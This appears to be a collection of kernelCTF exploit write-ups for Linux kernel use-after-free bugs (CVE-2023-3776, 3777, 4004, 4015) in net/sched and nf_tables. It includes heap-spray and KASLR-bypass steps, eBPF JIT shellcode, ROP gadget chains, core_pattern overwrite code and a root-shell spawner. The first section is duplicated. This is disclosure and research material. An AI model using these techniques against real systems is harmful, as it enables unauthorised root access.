Post RIP Copy Section

Once we control the kernel RIP and jump into the middle of our eBPF program, the shellcode we crafted will cause core_pattern being overwritten to |/proc/%P/fd/666:

We then use memfd and write an executable file payload in fd 666.

int check_core()
{
    // Check if /proc/sys/kernel/core_pattern has been overwritten
    char buf[0x100] = {};
    int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
    read(core, buf, sizeof(buf));
    close(core);
    return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}
void crash(char *cmd)
{
    int memfd = memfd_create("", 0);
    SYSCHK(sendfile(memfd, open("root", 0), 0, 0xffffffff));
    dup2(memfd, 666);
    close(memfd);
    while (check_core() == 0)
        sleep(1);
    *(size_t *)0 = 0;
}

Later when coredump happened, it will execute our executable file as root in root namespace:

*(size_t*)0=0; //trigger coredump

Executable file root is used to spawn shell when coredump happened. This is the code looks like:

void* job(void* x){
	FILE* fp = popen("pidof billy","r");
	fread(buf,1,0x100,fp);
	fclose(fp);
	int pid = strtoull(buf,0,10);
	int pfd = syscall(SYS_pidfd_open,pid,0);
	int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
	int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
	int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
	dup2(stdinfd,0);
	dup2(stdoutfd,1);
	dup2(stderrfd,2);
	execlp("bash","bash",NULL);

}
int main(int argc,char** argv){	
	job(0);
}

Pocs Linux Kernelctf CVE 2023 3776 Cos Mitigation Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/docs/vulnerability.md`) Copy Section

• Requirements:
  • Capabilites: CAP_NET_ADMIN
  • Kernel configuration: CONFIG_NET_SCHED=y, CONFIG_NET_CLS_FW=y
  • User namespaces required: Yes
• Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/net/sched/cls_fw.c?id=1da177e4c3f4
• Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=0323bce598eea038714f941ce2b22541c46d488f
• Affected Version: v2.6.12-rc2 - v6.5-rc7
• Affected Component: net/sched
• Syscall to disable: disallow unprivileged username space
• URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-3776
• Cause: Use-After-Free
• Description: A use-after-free vulnerability in the Linux kernel's net/sched: cls_fw component can be exploited to achieve local privilege escalation. If tcf_change_indev() fails, fw_set_parms() will immediately return an error after incrementing or decrementing the reference counter in tcf_bind_filter(). If an attacker can control the reference counter and set it to zero, they can cause the reference to be freed, leading to a use-after-free vulnerability

Pocs Linux Kernelctf CVE 2023 3776 Lts Docs Exploit (`pocs/linux/kernelctf/CVE-2023-3776_lts/docs/exploit.md`) Copy Section

Triggering Vulnerability Copy Section

Using this vulnerability, we can set reference counter of qdisc class to 0, and then free qdisc class (by deleting the class) while it still attached to the active filter.
When packet sent to the network, it will enqueue to the network scheduler. If the packet match to our filter, then it will return our freed qdisc class.
Qdisc class object contain qdisc object which used to enqueue packets to the respective network interface via function pointer.

Snippet code if we use drr_class as target object as target object.

static int drr_enqueue(struct sk_buff *skb, struct Qdisc *sch,
		       struct sk_buff **to_free)
{
	unsigned int len = qdisc_pkt_len(skb);
	struct drr_sched *q = qdisc_priv(sch);
	struct drr_class *cl;
	int err = 0;
	bool first;

	cl = drr_classify(skb, sch, &err); // [1]
	...
	err = qdisc_enqueue(skb, cl->qdisc, to_free);
	...
	return err;
}

static inline int qdisc_enqueue(struct sk_buff *skb, struct Qdisc *sch,
				struct sk_buff **to_free)
{
	qdisc_calculate_pkt_len(skb, sch);
	return sch->enqueue(skb, sch, to_free); // [2]
}

In [1], drr_classify will return freed drr_class, then this freed object is used to get the qdisc object via cl->qdisc and passed to qdisc_enqueue function. If we can control cl->qdisc->enqueue we can get RIP control at [2].

Target objects Copy Section

Our target objects is struct drr_class that resides inside kmalloc-128.

Spray objects Copy Section

For LTS/COS instance

Since there is no CONFIG_KMALLOC_SPLIT_VARSIZE, we can reallocated struct drr_class with ctl_buf. We use sendmsg to spray ctl_buf with controlled data in line [3].

static int ____sys_sendmsg(struct socket *sock, struct msghdr *msg_sys,
			   unsigned int flags, struct used_address *used_address,
			   unsigned int allowed_msghdr_flags)
...
		BUILD_BUG_ON(sizeof(struct cmsghdr) !=
			     CMSG_ALIGN(sizeof(struct cmsghdr)));
		if (ctl_len > sizeof(ctl)) {
			ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
			if (ctl_buf == NULL)
				goto out;
		}
		err = -EFAULT;
		if (copy_from_user(ctl_buf, msg_sys->msg_control_user, ctl_len)) //[3]
			goto out_freectl;

For Mitigation instance

Because CONFIG_KMALLOC_SPLIT_VARSIZE is enable, we need to find a struct we can spray in kmalloc-128 fixed cache. We found out struct ctnetlink_filter is in the right cache. We can spray it and put payload.

static struct ctnetlink_filter *
ctnetlink_alloc_filter(const struct nlattr * const cda[], u8 family)
{
	struct ctnetlink_filter *filter;
	int err;
...

	filter = kzalloc(sizeof(*filter), GFP_KERNEL);
...
	err = ctnetlink_parse_zone(cda[CTA_ZONE], &filter->zone);
	if (err < 0)
		goto err_filter;

	err = ctnetlink_parse_filter(cda[CTA_FILTER], filter);
	if (err < 0)

KASLR Bypass Copy Section

Spray eBPF programs

Our goal is to do some eBPF JIT spraying so later when we control kernel RIP, it will jump to the JIT page and execute our shellcode.

Linux kernel provide a socket option SO_ATTACH_FILTER and let user to attach a classic BPF program to the socket for use as a filter of incoming packets.

By creating lots of sockets and attach to classic BPF program, we can spray a lot of eBPF programs in kernel.

struct sock_fprog prog = {
        .len =  TSIZE,
        .filter = filter,
    };
    for(int i=0;i<NUM;i++){
        int fd[2];
        SYSCHK(socketpair(AF_UNIX,SOCK_DGRAM,0,fd));
        SYSCHK(setsockopt(fd[0],SOL_SOCKET,26,&prog,sizeof(prog)));
    }

As for the shellcode in our eBPF program, our goal is to overwrite /proc/sys/kernel/core_pattern so later we can execute command as root by triggering crash. Here's what our shellcode did to achieve our goal:

• Use the rdmsr instruction to obtain the kernel text address. With RCX being set to MSR_LSTAR ( 0xc0000082 ), we'll be able to obtain the address of entry_SYSCALL_64.
• Calculate the address of core_pattern and _copy_from_user.
• Call _copy_from_user(core_pattern, user_buf, 0x30);, where user_buf is a buffer in user space that stores the content we want to overwrite in core_pattern.

We construct our eBPF program with the following form:

struct sock_filter table[] = {
        {.code = BPF_LD + BPF_K, .k = 0xb3909090},
        {.code = BPF_LD + BPF_K, .k = 0xb3909090},
        .....................
};

The above example will be compiled into the following instructions after JIT:

b8 90 90 90 b3    mov eax, 0xb3909090
b8 90 90 90 b3    mov eax, 0xb3909090

If we can control kernel RIP to jump into the NOP instruction ( 0x90 ), the code will become:

90       nop 
b3 b8    mov    bl, 0xb8
90       nop
90       nop
90       nop
b3 b8    mov    bl, 0xb8
....

We can see that by using an extra byte 0xb3, we can skip the useless byte 0xb8 and execute our own shellcode. Notice that due to the "skipping part", we only have 3 bytes of space in each instruction, so we'll have to take care of that as well during our shellcode construction.

Put payload in fixed kernel address (CVE-2023-0597)

Linux kernel maps cpu_entry_area into a fixed kernel address in x86 and that region is also used as exception stack. We can put our payload in the registers and trigger exception from user space. The exception handler will push our registers in the exception stack, allowing us to control data in fixed kernel address.

Catch the signals and skip the offending instruction.

signal(SIGFPE, handle);
    signal(SIGTRAP, handle);
    signal(SIGSEGV, handle);
    setsid();
    foo(payload);

Put our payload on registers in specific order

foo:
	mov rsp,rdi
	pop r15
	pop r14
	pop r13
	pop r12
	pop rbp
	pop rbx
	pop r11
	pop r10
	pop r9
	pop r8
	pop rax
	pop rcx
	pop rdx
	pop rsi
	pop rdi
	div qword [0x1234000] ; trigger div 0 exception

As a result, we can control about 0x80 bytes in fixed kernel address.

RIP Control Copy Section

We set cl->qdisc to fixed kernel address that contain our controlled value, and then set enqueue function pointer to guessed ebpf JIT address.

Post RIP Copy Section

Once we control the kernel RIP and jump into the middle of our eBPF program, the shellcode we crafted will cause core_pattern being overwritten to |/proc/%P/fd/666:

We then use memfd and write an executable file payload in fd 666.

int check_core()
{
    // Check if /proc/sys/kernel/core_pattern has been overwritten
    char buf[0x100] = {};
    int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
    read(core, buf, sizeof(buf));
    close(core);
    return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}
void crash(char *cmd)
{
    int memfd = memfd_create("", 0);
    SYSCHK(sendfile(memfd, open("root", 0), 0, 0xffffffff));
    dup2(memfd, 666);
    close(memfd);
    while (check_core() == 0)
        sleep(1);
    *(size_t *)0 = 0;
}

Later when coredump happened, it will execute our executable file as root in root namespace:

*(size_t*)0=0; //trigger coredump

Executable file root is used to spawn shell when coredump happened. This is the code looks like:

void* job(void* x){
	FILE* fp = popen("pidof billy","r");
	fread(buf,1,0x100,fp);
	fclose(fp);
	int pid = strtoull(buf,0,10);
	int pfd = syscall(SYS_pidfd_open,pid,0);
	int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
	int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
	int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
	dup2(stdinfd,0);
	dup2(stdoutfd,1);
	dup2(stderrfd,2);
	execlp("bash","bash",NULL);

}
int main(int argc,char** argv){	
	job(0);
}

Pocs Linux Kernelctf CVE 2023 3776 Lts Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-3776_lts/docs/vulnerability.md`) Copy Section

• Requirements:
  • Capabilites: CAP_NET_ADMIN
  • Kernel configuration: CONFIG_NET_SCHED=y, CONFIG_NET_CLS_FW=y
  • User namespaces required: Yes
• Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/net/sched/cls_fw.c?id=1da177e4c3f4
• Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=0323bce598eea038714f941ce2b22541c46d488f
• Affected Version: v2.6.12-rc2 - v6.5-rc7
• Affected Component: net/sched
• Syscall to disable: disallow unprivileged username space
• URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-3776
• Cause: Use-After-Free
• Description: A use-after-free vulnerability in the Linux kernel's net/sched: cls_fw component can be exploited to achieve local privilege escalation. If tcf_change_indev() fails, fw_set_parms() will immediately return an error after incrementing or decrementing the reference counter in tcf_bind_filter(). If an attacker can control the reference counter and set it to zero, they can cause the reference to be freed, leading to a use-after-free vulnerability

Pocs Linux Kernelctf CVE 2023 3777 Lts Docs Exploit (`pocs/linux/kernelctf/CVE-2023-3777_lts/docs/exploit.md`) Copy Section

Triggering Vulnerability Copy Section

In the nf_tables_delrule, if there is NFTA_RULE_CHAIN, the nft_chain_is_bound checks whether the chain is bound [1]. When NFTA_RULE_CHAIN is not given, all chain rules in the table are deleted. At this time, whether the chain is bound is not checked [2]. As a result, the bound chain is deleted twice. If nft_lookup or nft_immediate expr exists in the bound chain, the reference counter of the referenced object can be decreased twice. We can use this to create a dangling pointer, thus, a use-after-free is occured.

/* Detailed source-code truncated for AI context efficiency. */

KASLR Bypass Copy Section

The KASLR address is leaked through chain->name, which is stored in the verdict data of the immediate expr (nft_immediate_expr.data.verdict). The leak process is as follows:

• Create three chains, Base, Vulnerable, and Victim. Set NFT_CHAIN_BINDING flag for Vulnerable.
• Create a rule in Base with an immediate expr referencing the Vulnerable.
• Create a rule in Vulnerable with an immediate expr referencing Victim.
• Trigger the vulnerability by flushing the rule in Vulnerable. This results in the Victim having a reference count of -1.
• Create an immediate expr in Base that references to the Victim, making the Victim's reference count 0, and destroy the Victim.
• Spray counter exprs (struct nft_expr) to place it at Victim's chain->name. At this time, the counter exprs are allocated in the kmalloc-cg-16.
• We dump the immediate expr of Base using GETRULE command, we can get the ops address of counter expr through the freed chain->name to get the kernel base address [3].

int nft_verdict_dump(struct sk_buff *skb, int type, const struct nft_verdict *v)
{
    struct nlattr *nest;

    nest = nla_nest_start_noflag(skb, type);
    if (!nest)
        goto nla_put_failure;

    if (nla_put_be32(skb, NFTA_VERDICT_CODE, htonl(v->code)))
        goto nla_put_failure;

    switch (v->code) {
    case NFT_JUMP:
    case NFT_GOTO:
        if (nla_put_string(skb, NFTA_VERDICT_CHAIN,
                    v->chain->name))  // [3]
            goto nla_put_failure;
    }
    nla_nest_end(skb, nest);
    return 0;

nla_put_failure:
    return -1;
}

Heap Address Leak Copy Section

We leak the heap address in the same way as we leak the kernel base address. To leak the heap address, we sprayed the nft_rule instead of counter expr. We place nft_rule in freed nft_chain->name and dump the rule of the Base. As a result, we can read the heap address stored in nft_rule->list through nft_chain->name. We put the address of the kmalloc-cg-96 object in list->next and the address of the kmalloc-cg-192 object in list->prev, and we leaked both addresses. Since data of type string is used for leaking, we repeated until the heap address does not contain null.

RIP Control Copy Section

We use nft_chain->blob_gen_0 to control the RIP. The nft_chain->blob_gen_0 is used when evaluating packets in the nft_do_chain function [4].

nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
    ...
do_chain:
    if (genbit)
        blob = rcu_dereference(chain->blob_gen_1);
    else
        blob = rcu_dereference(chain->blob_gen_0);  // [4]

    rule = (struct nft_rule_dp *)blob->data;
    last_rule = (void *)blob->data + blob->size;
next_rule:
    regs.verdict.code = NFT_CONTINUE;
    for (; rule < last_rule; rule = nft_rule_next(rule)) {
        nft_rule_dp_for_each_expr(expr, last, rule) {
            if (expr->ops == &nft_cmp_fast_ops)
                nft_cmp_fast_eval(expr, &regs);
            else if (expr->ops == &nft_cmp16_fast_ops)
                nft_cmp16_fast_eval(expr, &regs);
            else if (expr->ops == &nft_bitwise_fast_ops)
                nft_bitwise_fast_eval(expr, &regs);
            else if (expr->ops != &nft_payload_fast_ops ||
                    !nft_payload_fast_eval(expr, &regs, pkt))
                expr_call_ops_eval(expr, &regs, pkt);

            if (regs.verdict.code != NFT_CONTINUE)
                break;
        }
    ...

To do this, we assign chain->blob_gen_0 to kmalloc-cg-64 and trigger the vulnerability. chain->blob_gen_0 is allocated in the nf_tables_chain_alloc_rules when creating new chain [5]. chain->blob_gen_0 is allocated from the nf_tables_chain_alloc_rules when creating a new chain [5].

static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,
			      u8 policy, u32 flags,
			      struct netlink_ext_ack *extack)
{
    ...
	data_size = offsetof(struct nft_rule_dp, data);	/* last rule */
	blob = nf_tables_chain_alloc_rules(data_size);      // [5]
	if (!blob) {
		err = -ENOMEM;
		goto err_destroy_chain;
	}

The size used by kvmalloc [6] is 40, offsetof(struct nft_rule_dp, data) + sizeof(struct nft_rule_blob) + sizeof(struct nft_rules_old) (8 + 24 + 8), the blob object is allocated in kmalloc-cg-64.

static struct nft_rule_blob *nf_tables_chain_alloc_rules(unsigned int size)
{
	struct nft_rule_blob *blob;

	/* size must include room for the last rule */
	if (size < offsetof(struct nft_rule_dp, data))
		return NULL;

	size += sizeof(struct nft_rule_blob) + sizeof(struct nft_rules_old);
	if (size > INT_MAX)
		return NULL;

	blob = kvmalloc(size, GFP_KERNEL_ACCOUNT);      // [6]
	if (!blob)
		return NULL;

	blob->size = 0;
	nft_last_rule(blob, blob->data);

	return blob;
}

We then spray the udata of the struct nft_table and place it in freed blob_gen_0. Finally, when a packet is sent, a sprayed fake ops address is referenced, resulting in RIP control [7].

static void expr_call_ops_eval(const struct nft_expr *expr,
                    struct nft_regs *regs,
                    struct nft_pktinfo *pkt)
{
#ifdef CONFIG_RETPOLINE
    unsigned long e = (unsigned long)expr->ops->eval;
#define X(e, fun) \
    do { if ((e) == (unsigned long)(fun)) \
        return fun(expr, regs, pkt); } while (0)  // [7]

    X(e, nft_payload_eval);
    X(e, nft_cmp_eval);
    X(e, nft_counter_eval);
    X(e, nft_meta_get_eval);
    X(e, nft_lookup_eval);
    X(e, nft_range_eval);
    X(e, nft_immediate_eval);
    X(e, nft_byteorder_eval);
    X(e, nft_dynset_eval);
    X(e, nft_rt_get_eval);
    X(e, nft_bitwise_eval);
#undef  X
#endif /* CONFIG_RETPOLINE */
    expr->ops->eval(expr, regs, pkt);
}

Post RIP Copy Section

Store the ROP payload below to the kmalloc-cg-96 and kmalloc-cg-192 addresses leaked above, and execute it.

/* Detailed source-code truncated for AI context efficiency. */

Pocs Linux Kernelctf CVE 2023 3777 Lts Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-3777_lts/docs/vulnerability.md`) Copy Section

• Requirements:
  • Capabilites: CAP_NET_ADMIN
  • Kernel configuration: CONFIG_NETFILTER=y, CONFIG_NF_TABLES=y
  • User namespaces required: Yes
• Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d0e2c7de92c7
• Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6eaf41e87a223ae6f8e7a28d6e78384ad7e407f8
• Affected Version: v5.9-rc1 - v6.5-rc2
• Affected Component: net/netfilter
• Syscall to disable: disallow unprivileged username space
• URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-3777
• Cause: Use-After-Free
• Description: A use-after-free vulnerability in the Linux kernel's netfilter: nf_tables component can be exploited to achieve local privilege escalation. When nf_tables_delrule() is flushing table rules, it is not checked whether the chain is bound and the chain's owner rule can also release the objects in certain circumstances. We recommend upgrading past commit 6eaf41e87a223ae6f8e7a28d6e78384ad7e407f8.

Pocs Linux Kernelctf CVE 2023 4004 Lts Cos Mitigation Docs Exploit (`pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md`) Copy Section

Exploit detail about CVE-2023-4004

If you want to get some base information about CVE-2023-4004, please read vulnerability.md first.

Background Copy Chapter

nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem.

It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft.

nftables implements data packet filtering by using some components like table, set, chain, rule.

Cause anaylysis Copy Chapter

As the code shows in function nft_pipapo_remove in /net/netfilter/nft_set_pipapo.c, when a pipapo set wants to remove a element, it find the element by using NFT_SET_EXT_KEY and NFT_SET_EXT_KEY_END:

...
        match_start = data;
		match_end = (const u8 *)nft_set_ext_key_end(&e->ext)->data;

		start = first_rule;
		rules_fx = rules_f0;

		nft_pipapo_for_each_field(f, i, m) {
			if (!pipapo_match_field(f, start, rules_fx,
						match_start, match_end))
				break;
    ...

But a NFT_SET_EXT_KEY_END is not necessary. Function nft_pipapo_insert shows a correct way to handle it:

...
	if (nft_set_ext_exists(ext, NFT_SET_EXT_KEY_END))
		end = (const u8 *)nft_set_ext_key_end(ext)->data;
	else
		end = start;
    ...

Triggering the vulnerability Copy Chapter

It's easy to trigger it by following this steps:

• Create a pipapo set
• Insert a element into the set without NFT_SET_EXT_KEY_END
• Flush the set without NFT_SET_EXT_KEY_END(After this, the element will be freed but won't be removed from the set)
• Flush the set without NFT_SET_EXT_KEY_END again(After this, the element will be freed again)

Exploit it Copy Chapter

CVE-2023-4004 is very easy to exploit because you can free the element many times. The size of the element is not stable which means there's many ways to exploit it:

void *nft_set_elem_init(const struct nft_set *set,
			const struct nft_set_ext_tmpl *tmpl,
			const u32 *key, const u32 *key_end,
			const u32 *data, u64 timeout, u64 expiration, gfp_t gfp)
{
	struct nft_set_ext *ext;
	void *elem;

	elem = kzalloc(set->ops->elemsize + tmpl->len, gfp);
	if (elem == NULL)
		return NULL;
    ...

The tmpl->len is related to your input like NFTA_SET_ELEM_USERDATA which means you can control the size of the element. So you just need to find a structure to leak information and control RIP. I choose to use some structures in nftables: nft_tables and nft_object

struct nft_table {
	struct list_head		list;
	struct rhltable			chains_ht;
	struct list_head		chains;
	struct list_head		sets;
	struct list_head		objects;
	struct list_head		flowtables;
	u64				hgenerator;
	u64				handle;
	u32				use;
	u16				family:6,
					flags:8,
					genmask:2;
	u32				nlpid;
	char				*name;
	u16				udlen;
	u8				*udata;
};

struct nft_object {
	struct list_head		list;
	struct rhlist_head		rhlhead;
	struct nft_object_hash_key	key;
	u32				genmask:2,
					use:30;
	u64				handle;
	u16				udlen;
	u8				*udata;
	/* runtime data below here */
	const struct nft_object_ops	*ops ____cacheline_aligned;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};

It's easy to spray heap by creating many nft_table with NFTA_TABLE_USERDATA:

...
	if (nla[NFTA_TABLE_USERDATA]) {
		table->udata = nla_memdup(nla[NFTA_TABLE_USERDATA], GFP_KERNEL);
		if (table->udata == NULL)
			goto err_table_udata;

		table->udlen = nla_len(nla[NFTA_TABLE_USERDATA]);
	}
    ...

And nft_object has a pointer of a function list(const struct nft_object_ops *ops), which will be useful for leaking information and control RIP.

The size of the object is different when you use different type of object. I choose to use the NFT_OBJECT_CT_EXPECT object. The heap used by this object belongs to kmalloc-192.

Leak info Copy Section

I leak some useful infomation by the following steps.

• Create pipapo set A
• Insert element B into set A without NFT_SET_EXT_KEY_END(make sure sizeof(element B)>192 && sizeof(element B)<256)
• Flush set A, element B will be freed but won't be removed
• Create many tables with NFTA_TABLE_USERDATA to get the heap of element B back, the length of NFTA_TABLE_USERDATA should equal to sizeof(element B)
• Flush set A again, element B will be freed again but won't be removed
• Create many objects, the size of the objects should equal to sizeof(element B). One of them will get the heap of element B back.
• Dump/Get all the tables we spray. The NFTA_TABLE_USERDATA of one of them should be a strcture of a object.

Control RIP Copy Section

I control the RIP by the following steps which is very similar I used for leaking useful information:

• Create pipapo set A
• Insert element B into set A without NFT_SET_EXT_KEY_END(make sure sizeof(element B)>192 && sizeof(element B)<256)
• Flush set A, element B will be freed but won't be removed
• Create many tables with NFTA_TABLE_USERDATA to get the heap of element B back, the length of NFTA_TABLE_USERDATA should equal to sizeof(element B)
• Flush set A again, element B will be freed again but won't be removed
• Create many objects with NFTA_OBJ_USERDATA. The size of the objects should equal to sizeof(element B) . NFTA_OBJ_USERDATA of the object will be used for ROP.
• Dump/Get all the tables we spray. Find the target tables. The NFTA_TABLE_USERDATA of one of them should be a strcture of a object.
• Delete the target table to free the heap of the object.
• Spray many tables with NFTA_TABLE_USERDATA to get the heap of the object back. After this, we will fill fake data of the object. I overwrite object->ops to control RIP.
• Get target object, and we will finally jump to ROP.
  text Copy

  static int nft_object_dump(struct sk_buff *skb, unsigned int attr,
               struct nft_object *obj, bool reset){
    struct nlattr *nest;
  
    nest = nla_nest_start_noflag(skb, attr);
    if (!nest)
        goto nla_put_failure;
    if (obj->ops->dump(skb, obj, reset) < 0)//After overwrite the ops, we can control RIP here.
        goto nla_put_failure;
    nla_nest_end(skb, nest);
    return 0;
    ...

ROP detail Copy Section

Once we finish the step 7 of Control RIP, we can get the heap address of the NFTA_OBJ_USERDATA of target object, which we spray at step 6.
And I fill the fake data of the object by this:

//ops is the pointer of the memory we will fill in NFTA_OBJ_USERDATA
    //the filed at 0x20 of ops is ops->dump.
    *(uint64_t *)&ops[0x20] = kernel_off + 0xffffffff8198954b;//push rsi ; jmp qword ptr [rsi + 0x39]
	...
    //The filed at 0x48 of the leak_obj is obj->udata, which will be created by NFTA_OBJ_USERDATA.
    uint64_t rop_target_addr = *(uint64_t *)(&leak_obj[0x48]);
    printf("rop : %lx\n", rop_target_addr);
    //Now we try to fill fake data of the object
    //stack migration first time 
    *(uint64_t *)(&leak_obj[0x39]) = kernel_off + 0xffffffff81027924;//pop rsp ; ret 
    // stack migration second time 
    *(uint64_t *)(&leak_obj[0]) = kernel_off + 0xffffffff81027924;//pop rsp ; ret
    *(uint64_t *)(&leak_obj[8]) = rop_target_addr + 0x60;//This is the final ROP address.
    *(uint64_t *)(&leak_obj[0x80]) = rop_target_addr;//the filed at 0x80 offset is a nft_object_ops	struct pointer which set to the heap addr of NFTA_OBJ_USERDATA.
	...

And the step of ROP looks like this:

obj->ops->dump(skb, obj, reset)  ->  
 push rsi ; jmp qword ptr [rsi + 0x39] ->  //RSI will be the pointer of the object
 pop rsp ; ret -> //stack migration, the rsp will be the pointer of the object 
 pop rsp ; ret -> //stack migration again, the rsp will be rop_target_addr + 0x60(the pointer of the NFTA_OBJ_USERDATA + 0x60) 
 now we can do normal ROP here

Pocs Linux Kernelctf CVE 2023 4004 Lts Cos Mitigation Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/vulnerability.md`) Copy Section

Vulneribility

In function nft_pipapo_remove in file /net/netfilter/nft_set_pipapo.c, there is a line of code:

match_end = (const u8 *)nft_set_ext_key_end(&e->ext)->data;

But it is possible to insert a element without a NFT_SET_EXT_KEY_END. So it is possiable that you free the nft_pipapo_elem but you still have it in the nft_set struct.

Requirements to trigger the vulnerability Copy Chapter

• Capabilities: CAP_NET_ADMIN capability is required.
• Kernel configuration: CONFIG_NETFILTER, CONFIG_NF_TABLES
• Are user namespaces needed?: Yes

Commit which introduced the vulnerability Copy Chapter

• commit 3c4287f62044a90e73a561aa05fc46e62da173da

Commit which fixed the vulnerability Copy Chapter

• commit 87b5a5c209405cb6b57424cdfa226a6dbd349232

Affected kernel versions Copy Chapter

• 5.6-rc1 and later

Affected component, subsystem Copy Chapter

• net/netfilter (nf_tables)

Cause Copy Chapter

• UAF

Pocs Linux Kernelctf CVE 2023 4015 Cos Docs Exploit (`pocs/linux/kernelctf/CVE-2023-4015_cos/docs/exploit.md`) Copy Section

CVE-2023-4015

This documentation briefly describe the exploit. For more technical details, please look at the exploit source code.

In order to trigger the vulnerability, CAP_NET_ADMIN is required. We can use a namespace sandbox in order to achieve this condition.
Also for all allocations in the kernel heap we make do not span over multiple percpu slabs, we will pin our process to a single CPU.

Triggering the vulnerability Copy Chapter

We aim to free a nft_chain object resides in kmalloc-128 cache.

• Batch 1
  • Create a table t
  • Create a chain c1
  • Create a chain c2 hosting a rule r2 that has an immediate expression e2 which binds to c1
    • c1->use == 1
• Batch 2
  • Create a chain c3 hosting a rule r3 that has an immediate expression e3 which binds to c1
    • c3 should have NFT_CHAIN_BINDING flag
    • c1->use = 2
  • Create a chain c4 hosting a rule r4 that has an immediate expression e4 which binds to c3
    • However, we will not allow the rule creation to success by adding another immediate expression, which binds to a non-existant chain
    • At this point, nft_rule_expr_deactivate will be called on r4 with phase = NFT_TRANS_PREPARE_ERROR
    • nft_immediate_deactivate will be called on e4
    • Since c3 has NFT_CHAIN_BINDING flag, nft_rule_expr_deactivate will be called on r3, which will also deactivate e3
    • c1->use = 1 because c1 is bound to e3
  • Because the batch failed, transaction rollback will be executed with phase = NFT_TRANS_ABORT
    • c3, r3, e3 will be deactivated again
    • c1->use = 0
• Batch 3
  • Because c1->use = 0, we can delete chain c1

After this, we have a dangling reference in e2 to the freed chain c1.
The naming convention here is for demonstration purpose only. In the exploit it will be different.
We will also create a spray chain in order to spray the heap using nft_rule object later (mostly to avoid accidentally reclaiming the freed chunk when creating new chain).

Leak kernel heap address Copy Chapter

When dumping immediate expression binding to another chain, we will get the chain's name.
When the chain is freed, the buffer containing its name is also freed. The address pointing to the name is not cleared.
If we reclaim the freed name buffer, but not the freed chain, we can leak data from the start of the reclaimed object until a NULL byte.
With chunk size 192 (kmalloc-192), it is less likely that we will get NULL byte in the address.
So when creating c1 rule, we set the actual name to be 129-192 bytes long (including NULL terminating character).

We will use nft_rule as the spraying object to reclaim the freed name chunk because:

• It is an elastic object so we can attack many caches
• The elastic portion are flattened expression array (up to 128 expressions) and arbitrary user data (up to 255 bytes)
• The first field is list_head so we can leak heap address of the next rule and the previous rule

We create a lot of rules with some user data so that the total length of the nft_rule struct is in range 129-192 bytes.
After spraying, we request to dump r2 which will dump e2 and hopefully we will get the heap address of a nft_rule object.
If the leak fails, we will try again.
We will also be able to leak the handle of the rule object that reclaimed the freed name chunk.
It will be used to correctly free only the rule that we got the heap address for later stage.

We will also add a nft_notrack expression to the rule so there will be a kernel pointer inside, which we will leak in the next stage once we get the heap leak. The in-memory structure layout of the sprayed rules looks like this (first 0x18 bytes are rule metadata):

Leak kernel base address Copy Chapter

Now that we have heap leak and we know that a kernel address is inside that chunk, let's leak it by creating a fake chain with name pointing to the leaked heap region by reclaiming the freed chain (reminder: the freed nft_chain is in kmalloc-128 cache).
This time we will spray using userdata of nft_table. We can store at most 256 bytes of arbitrary data.
We create multiple nft_table with different names that has 128 bytes userdata with structure layout looks like following:

| Offset | nft_chain field | Value | Remarks |
---------|-------------------|-----------------|
0x0|list|any|
0x10|rules.next|heap leak|for next stage
0x18|rules.prev|heap leak|for next stage
...
0x54|flags|NFT_CHAIN_BINDING|for next stage
0x58|name|heap leak + sizeof(struct nft_rule)|where we put nft_notrack_ops in the sprayed rule above
...

After spraying, we request to dump r2 which will dump e2 and hopefully we will get the address of nft_notrack_ops.

RIP control and return to userspace Copy Chapter

As we have handle of the rule that got its address leaked, we delete it.
Then, we spray a fake nft_rule that also act as a ROP chain. Remember that the deleted rule resided in kmalloc-192 cache.
We set dlen of the fake rule to 1 to pass the expression loop check.
We craft a fake expression that has its ops point to the leaked heap. We need to align ops->deactivate with a JOP gadget.
Following that, we build a ROP chain that do commit_creds(&init_cred), switch_task_namespaces(find_task_by_vpid(getpid()), &init_nsproxy) then return to userspace.

After spraying, we delete the rule r2 which will call nft_rule_expr_deactivate on e2. Since we prepared fake rule list for the reclaimed fake chain, and set its flag to NFT_CHAIN_BINDING, the fake rule will be deactivated and the fake expression's deactivate routine will be called, which will trigger the JOP gadget then the ROP chain.

Returning to userspace, we use setns to escape from the jail then spawn a root shell using execve.

